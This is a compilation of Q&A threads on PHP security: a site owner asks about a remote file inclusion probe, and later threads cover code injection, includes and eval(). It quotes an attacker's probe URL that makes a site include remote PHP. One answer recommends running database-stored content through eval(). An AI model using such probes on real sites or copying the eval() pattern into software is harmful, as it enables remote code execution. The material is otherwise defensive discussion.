What bug does this hacker want to exploit? - php

A guy called ShiroHige is trying to hacking my website.
He tries to open a page with this parameter:
mysite/dir/nalog.php?path=http://smash2.fileave.com/zfxid1.txt???
If you look at that text file it is just a die(),
<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>
So what exploit is he trying to use (WordPress?)?
Edit 1:
I know he is trying use RFI.
Is there some popular script that are exploitable with that (Drupal, phpBB, etc.)?

An obvious one, just unsanitized include.
He is checking if the code gets executed.
If he finds his signature in a response, he will know that your site is ready to run whatever code he sends.
To prevent such attacks one have to strictly sanitize filenames, if they happen to be sent via HTTP requests.
A quick and cheap validation can be done using basename() function:
if (empty($_GET['page']))
$_GET['page']="index.php";
$page = $modules_dir.basename($_GET['page']).".php";
if (!is_readable($page)) {
header("HTTP/1.0 404 Not Found");
$page="404.html";
}
include $page;
or using some regular expression.
There is also an extremely useful PHP configuration directive called
allow_url_include
which is set to off by default in modern PHP versions. So it protects you from such attacks automatically.

The vulnerability the attacker is aiming for is probably some kind of remote file inclusion exploiting PHP’s include and similar functions/construct that allow to load a (remote) file and execute its contents:
Security warning
Remote file may be processed at the remote server (depending on the file extension and the fact if the remote server runs PHP or not) but it still has to produce a valid PHP script because it will be processed at the local server. If the file from the remote server should be processed there and outputted only, readfile() is much better function to use. Otherwise, special care should be taken to secure the remote script to produce a valid and desired code.
Note that using readfile does only avoids that the loaded file is executed. But it is still possible to exploit it to load other contents that are then printed directly to the user. This can be used to print the plain contents of files of any type in the local file system (i.e. Path Traversal) or to inject code into the page (i.e. Code Injection). So the only protection is to validate the parameter value before using it.
See also OWASP’s Development Guide on “File System – Includes and Remote files” for further information.

It looks like the attack is designed to print out "ShiroHige" on vulnerable sites.
The idea being, that is you use include, but do not sanitize your input, then the php in this text file is executed. If this works, then he can send any php code to your site and execute it.
A list of similar files can be found here. http://tools.sucuri.net/?page=tools&title=blacklist&detail=072904895d17e2c6c55c4783df7cb4db

He's trying to get your site to run his file. This would probably be an XSS attack? Not quite familiar with the terms (Edit: RFI - Remote file inclusion).
Odds are he doesn't know what he's doing. If there’s a way to get into WordPress, it would be very public by now.

I think its only a first test if your site is vulnerable to external includes. If the echo is printed, he knows its possible to inject code.

You're not giving much detail on the situation and leaving a lot to the imagination.
My guess is that he's trying to exploit allow_url_fopen. And right now he's just testing code to see what he can do. This is the first wave!

I think it is just a malicious URL. As soon as i entered it into my browser, Avast antivirus claimed it to be a malicious url. So that php code may be deceiving or he may just be testing. Other possibility is that the hacker has no bad intentions and just want to show that he could get over your security.

Related

Is it possible to make a "php injection"?

I'm building a web application and I'm concern with security.
Is it a way to make a "php injection", in the same way it is possible to make "SQL injection" ? That means client can send some php code which will be executed on the server.
Until we don't use the "eval" function, I would like to say "no" because when we get a value by $_GET and $_POST, all the data are treated as simple string... But maybe I don't see an obvious attack.
In general, not unless you evaluate it with something that might parse and execute PHP. You already mentioned eval, but there are other functions that have eval-like properties (e.g. preg_replace, if the attacker manages to inject the /e modifier) or can otherwise allow unwanted levels of access (e.g. system()).
Also, if an attacker can upload a file and get it interpreted as PHP, he can run PHP code. nginx can be easily misconfigured in a way that allows attackers to execute PHP code in image files. The same goes for getting your web site to include() his code - possibly by overwriting your files with his uploads, or changing the include() arguments to point to a remote site (if that is not disabled in php.ini).
There are a number of ways in which you could, potentially, have a "PHP injection". eval is one of them. shell_exec and related functions are a risk too (always use escapeshellarg!) But the common theme is putting user input somewhere it can be executed. This is the case with SQL injections, where the query is a string that contains user input and is then executed on the MySQL server.
One slightly more obscure example is file uploads. If you allow uploading of files to your server, do NOT allow unfettered access to them! Someone could upload a PHP file, then access it and get full control of your site, so... yeah, be careful with uploads!
You would call it PHP injection if the PHP script ”constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment”[1].
So for PHP as the processor, any function, whose parameter are being interpreted as PHP, directly or indirectly, may be prone to PHP injection. This includes obviously the eval function, but also functions like create_function, and preg_replace with PREG_REPLACE_EVAL modifier.
Furthermore, this also includes routines that generate PHP code for being written to file like configuration files during an application setup. Or routines that execute PHP via php -r …, even when escaped via escapeshellarg.
Have a look at the observed examples for CWE-94: Improper Control of Generation of Code ('Code Injection').

How to secure sensitive PHP files that process Jquery data?

On my website, I have a search.php page that makes $.get requests to pages like search_data.php and search_user_data.php etc.
The problem is all of these files are located within my public html folder.
Even though someone could browse to www.mysite.com/search_user_data.php, all of the data processed is properly escaped and handled, but on a professional level this is inadequate to even have this file within public reach.
I have tried moving the sensitive files to my web root, however since Jquery is making $.get requests and passing variables in the URL, this doesn't work.
Does anyone know any methods to firmly secure these vulnerable pages?
What you describe is normal.
You have PHP files that are reachable in your www directory so apache (or your favored webserver) can read and process them.
If you move them out you can't reach them anymore so there is no real option of that sort.
After all your PHP files for AJAX are just regular php files, likely your other project also contains php files. Right ? They are not more or less at risk than any script on your server.
Make sure you program "clean". Think about evil requests when writing your php functions, not after writing them.
As you already did: correctly quote all incoming input that might hit a database or sensitive function.
You can add security checks on your incoming values and create an automated email if you detect someone trying evil stuff. So you'll likely receive a warning in such cases.
But on the downside: You'll regularly receive warnings because some companies automatically scan websites for possible bugs. So you will receive a warning on such scans as well.
On top of writing your code as "secure" as you can, you may want to add a referer check in your code. That means your PHP file will only react if your website was given as referer when accessing it. That's enough to block 80% of the kids out there.
But on the downside: a few internet users do not send a referer at all, some proxies filter that. (I personally would ignore them, half the (www) internet breaks on them anyway)
One more layer of protection can be added by htaccess, you can do most within PHP but it might still be of interest for you: http://httpd.apache.org/docs/2.0/howto/htaccess.html
You can store a uid each time your page is loaded and store it in $_SESSION['uid']. You give this uid to javascript by doing :
var uid = <?php print $_SESSION['uid']; ?>;
Then you pass it with your get request, compare it to your $_SESSION :
if($_GET['uid'] != $_SESSION['uid']) // Stop with an error message or send a forbidden header.
If it's ok, do what you need.
It's not perfect since someone can request search.php and get the current uid, and then request the other pages, but it may be the best possible solution.

Should I Make Database Connection With PHP Includes

I've been told that it is unsecure to make database connections inside a PHP includes. For example If I have a login page and add an "include('process.php')" at the top of the page that has a database connection, is that unsecure?
For example If I have a login page and add an "include('process.php')" at the top of the page that has a database connection, is that unsecure?
No.
Maybe the person who told you this was talking about something else - like including a file using a dynamic value coming from a GET parameter, or using remote http:// includes, or as #AlienWebguy mentions, having the password include inside the web root. But using includes in itself is not insecure.
It's only insecure if you are storing your passwords literally in your PHP files. They should be declared outside of the web root. That being said, the lack of security is not due to the use of the include() function.
In and of itself, no, it is not insecure. How it's implemented inside the include is of course a different story.
That's the way I've always done it. I make sure that the include is in a different directory that has open permisions and that the directory your writing in has locked permisions. Hopefully that makes sense.
This question is way too broad to get a good answer from anyone. Short answer is no, there's nothing inherently insecure about including a file that connects to a database. However, if you write code that isn't written properly, then yes it may be insecure to do this.
Since using "include('process.php')" is exactly the same as pasting 'process.php' into the code of the other file, that should not be, per se, a security issue. The insecurity could be in your code, not in the fact the you use the "include". In fact, it could maybe improve the safety of your code, due the reuse.

Best way to allow user to inject and run php code

I've been thinking for a while about the idea of allowing user to inject code on website and run it on a web server. It's not a new idea - many websites allow users to "test" their code online - such as http://ideone.com/.
For example: Let's say that we have a form containing <textarea> element in which that user enters his piece of code and then submits it. Server reads POST data, saves as PHP file and require()s it while being surrounded by ob_*() output buffering handlers. Captured output is presented to end user.
My question is: how to do it properly? Things that we should take into account [and possible solutions]:
security, user is not allowed to do anything evil,
php.ini's disable_functions
stability, user is not allowed to kill webserver submitting while(true){},
set_time_limit()
performance, server returns answer in an acceptable time,
control, user can do anything that matches previous points.
I would prefer PHP-oriented answers, but general approach is also welcome. Thank you in advance.
I would think about this problem one level higher, above and outside of the web server. Have a very unprivileged, jailed, chroot'ed standalone process for running these uploaded PHP scripts, then it doesn't matter what PHP functions are enabled or not, they will fail based on permissions and lack of access.
Have a parent process that monitors how long the above mentioned "worker" process has been running, if its been too long, kill it, and report back a timeout error to the end user.
Obviously there are many implementation details to work out as to how to run this system asynchronously outside of the browser request, but I think it would provide a pretty secure way to run your untrusted PHP scripts.
Wouldn't disabling functions in your server's ini file limit some of the functions of the application itself?
I think you have to do some hardcore sanitization on the POST data and strip "illegal" code there. I think doing that with the addition of the other methods you describe might make it work.
Just remember. Sanitize the everloving daylight out of that POST data.

PHP syntax displaying in HTML source

In my CMS I've added this code <div><?php include("my_contact_form.php") ?></div> which updates to a db. I can see it there OK.
I have this php code in my display page after the db call:
$content = $row['content'];
when I echo $content inside the body this is displayed in the HTML source:
<div><?php include("my_contact_form.php") ?></div>
How could this possibly be? Why wouldn't it show my contact form?
If anyone has any suggestions I would be extremely grateful.
Cheers.
It sounds like you are storing the PHP code in the database and expecting it to be executed when you echo it. This won't happen, as far as the PHP interpreter is concerned it's just text (not PHP code) so it will just echo it.
You can force PHP to interpret (/run) the code in your string with the eval() function, but that comes with a large number of security warnings.
Storing code in the database is rarely the right solution.
The simple solution is to run eval() on your content.
$content = $row['content'];
eval("?>".$content."<?php");
The closing PHP tag and opening PHP tag allow you to embed HTML and PHP into the eval() statement.
About the choice of storing your PHP and the DB vs Files.
Assuming you're goal is to have PHP that can be edited by admins from an interface, and executed by your server.
You have two choices:
Write the PHP to files, and include or exec() the files.
Write the PHP to the DB, and exec() or cache the content to files and include().
If you're on a dedicated or VPS server, then writing to files is the best choice.
However, if you're on a shared hosting system, then writing to DB is actually the safer choice. However, this comes with the task that you must use a very safe system for querying the database, to eliminated all SQL injection possibility.
The reason the DB is safer in a shared environment is due to the fact that you'll need write access for the PHP process to the PHP files. Unfortunately, on "every" shared hosting setup, the same PHP user runs on each account and thus has write access to the same PHP files. So a malicious user just has to sign up for hosting and land on the same physical machine as you, or exploit a different account to gain access to yours.
With saving the PHP in mysql, PHP cannot write to the mysql files since it doesn't have the privileges. So you end up with more secure code, if you eliminate the possibility of SQL injection. Note that if you have an SQL injection vulnerability with write ability, then you have also opened a remote code execution vulnerability.
Edit:
Sorry the correct syntax is:
eval("\r\n?>\r\n ".$php."\r\n<?php\r\n");
Thats been tested quite intensively to work on every PHP configuration/setup.
You're echoing $content, that just prints out the value, but it doesn't execute any PHP within it.
If you're using an existing CMS, like Joomla, Drupal, etc.
The CMS is handling the text from the DB as what it is - text. It won't execute the text, it's probably just pulling it as a string from the DB and echoing it onto the page. See Brenton Alker's answer for a better explaination.
If possible, it would be better to work within the functionality of the CMS, and avoid hacking your CMS's source to use eval(). Depending which CMS you're using, there may be a feature (ie: a button in your editor, or similar) to include code from another file.
Or perhaps there's a feature to create "objects", "modules", whatever-they-wanted-to-call-them, which would allow you to place the code (as HTML) that you're trying to include into an "object", stored in the DB, allowing you to include it in numerous pages. This would attain the same goals as doing an include() in PHP (code reuse, avoiding duplicates, making changes in one place, etc.) but it would also save you having to hack the CMS or start risking security.
If you've built your own CMS
You may want to build such a feature in. It all depends on your needs, and how important security is.
Ultimately if you use eval(), and if anyone hacks either:
Your DB
Your CMS's admin interface
then they will be able to execute any PHP code on your server. And if you have exec() enabled in your php.ini (which is not safe), then they will also be able to run any code they want on your server itself... eeek!
Thanks for this - simple solutions are the best for me! Thanks for the extra info too. Sadly eval() as you suggest it didn't work for me here. So, plan C, I've decided to create a selectable tinymce template that has an iframe which calls the contact_form page and all the processing happens in the iframe. This works. Thanks everyone!

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